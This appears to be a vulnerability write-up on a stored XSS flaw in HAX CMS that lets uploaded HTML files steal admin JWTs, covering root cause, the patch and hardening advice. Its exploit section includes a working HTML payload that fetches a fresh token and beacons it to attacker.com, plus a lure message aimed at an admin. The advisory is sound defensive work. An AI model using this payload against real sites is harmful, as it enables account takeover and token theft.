HAX CMS: Headless Authoring, Headless Admins
Jan 13, 2026·5 min read
Executive Summary (TL;DR)
HAX CMS allowed users to upload arbitrary HTML files which were served from the same origin as the admin panel. By tricking an admin into opening a malicious file, an attacker could abuse the Same-Origin Policy to steal JWTs via the `haxcms_refresh_token` cookie. Fixed in v25.0.0 by forcing downloads for HTML files.
A high-severity Stored XSS vulnerability in HAX CMS allowed attackers to upload malicious HTML files that, when viewed by an administrator, automatically harvested session tokens and granted full account takeover.
The Hook: A "Headless" Mess
HAX CMS markets itself as a "Headless Authoring Experience." It's a clever project designed to decouple content management from presentation. But prior to version 25.0.0, it decoupled something else entirely: administrators from their accounts.
The vulnerability is a classic case of convenience over security. In a CMS, you want users to upload files—images, PDFs, maybe even some layout snippets. But when you allow users to upload HTML files and then serve those files back from the same domain as your administrative interface, you are essentially handing them the keys to the castle.
This isn't just a "pop an alert box" XSS. This is a "silently exfiltrate the keys to the kingdom while the admin sips their coffee" XSS. The flaw lies in how the NodeJS backend handled file uploads and, more critically, how it trusted the browser's Same-Origin Policy (SOP) to protect its API.
The Flaw: Trusting the Origin
The root cause is architectural. Web security relies heavily on the Same-Origin Policy. If I run a script on attacker.com, I can't read cookies or make authenticated requests to haxcms.com. However, if I can upload a file to haxcms.com/files/my-evil-file.html, and the server renders it as text/html, my script is now running inside the haxcms.com origin.
HAX CMS uses a haxcms_refresh_token cookie to manage sessions. This cookie is HTTP-only (usually), meaning JavaScript can't read it directly. That's good, right? Wrong.
The application exposes an endpoint: /system/api/refreshAccessToken. When a legitimate client hits this endpoint, the browser automatically attaches the refresh token cookie. The server validates the cookie and responds with a JSON object containing a fresh JWT Access Token.
Here is the kicker: Since our malicious uploaded HTML file is on the same origin, it can issue a fetch() request to that API endpoint. The browser dutifully sends the cookie. The script then reads the response body (which it has permission to do because of SOP) and steals the resulting JWT. The "HTTP-only" flag on the cookie doesn't matter because we aren't stealing the cookie; we are using the cookie to ask the server for a token we can steal.
The Code: The Smoking Gun
The vulnerability existed because the backend server (NodeJS) acted as a dumb pipe for files in the /files/ directory. It simply served whatever was there with standard MIME type sniffing.
The fix, introduced in commit 317a8ae29f88be389f7cfeffaef416957122d97e, implements a middleware layer to intercept these requests. It's not a complex re-architecture; it's a guard dog.
Here is the critical patch logic:
// Security: Force download of HTML files in sites' files directories to prevent XSS
app.use((req, res, next) => {
// Check if we are in the /files/ directory AND the file ends in .html or .htm
if (req.url.includes('/files/') && /\.html?$/i.test(req.url.split('?')[0])) {
// Force the browser to download the file instead of rendering it
res.setHeader('Content-Disposition', 'attachment');
}
next();
});Why this works: By setting Content-Disposition: attachment, the server tells the browser, "Do not execute this. Save it to disk." If the HTML doesn't render in the browser context, the script inside it never executes, and the attack chain is broken.
Critique: While effective for .html, the regex \.html?$/i is suspiciously specific. A determined attacker might look at .svg (which can contain <script>) or .xml files. If the server serves those with an executable MIME type, the fix is bypassed. It's a patch, not a cure.
The Exploit: Stealing the Crown Jewels
Let's construct the attack. We assume we have a lower-privileged account that can upload files, or we've tricked an editor into uploading a file for us.
Step 1: The Payload
We create a file named report_v2.html. Inside, we hide a script that executes immediately upon loading:
<!DOCTYPE html>
<html>
<body>
<h1>System Update in Progress...</h1>
<script>
// 1. Ask the server for a new JWT.
// The browser automatically attaches the 'haxcms_refresh_token' cookie.
fetch('/system/api/refreshAccessToken', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: '{}'
})
.then(r => r.json())
.then(data => {
// 2. The server hands us the JWT in the JSON response.
const jwt = data.jwt;
// 3. Exfiltrate to our C2 server.
navigator.sendBeacon('https://attacker.com/loot?token=' + jwt);
});
</script>
</body>
</html>Step 2: The Delivery
We upload this file via the CMS interface. The server saves it at https://target-cms.com/sites/mysite/files/report_v2.html.
Step 3: Social Engineering We send a message to the Super Admin: "Hey, the formatting on the new report looks weird, can you check it?" and link to the file.
Step 4: Game Over
The admin clicks the link. They see "System Update in Progress...". In the background, their browser grabs a fresh JWT and sends it to attacker.com. We now put that JWT into our local storage and browse the site as the Super Admin.
The Fix: Stopping the Bleeding
The immediate remediation is to upgrade haxcms-nodejs to version 25.0.0. This applies the Content-Disposition header fix discussed above.
However, if you want to sleep better at night, you should go further. Relying on a regex to catch executable files is a game of whack-a-mole.
Better Architecture:
- Serve User Content from a Sandbox Domain: Never serve user uploads from
app.com. Serve them fromapp-usercontent.com. If XSS happens there, the SOP prevents it from touching your main domain's cookies or APIs. - Content Security Policy (CSP): Implement a strict CSP that forbids script execution in the
/files/directory.Content-Security-Policy: script-src 'none';for those paths would kill this attack dead, even if the file renders. - Sanitization: Actually parse and sanitize HTML uploads if they must be rendered, though this is difficult to get right.
Official Patches
Fix Analysis (1)
Technical Appendix
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:HAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
haxcms-nodejs haxtheweb | >= 11.0.6 < 25.0.0 | 25.0.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 (Improper Neutralization of Input During Web Page Generation) |
| CVSS v3.1 | 8.1 (High) |
| Attack Vector | Network |
| Privileges Required | Low (User capable of uploading files) |
| Impact | Account Takeover (JWT Theft) |
| EPSS Score | 0.041% |
MITRE ATT&CK Mapping
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.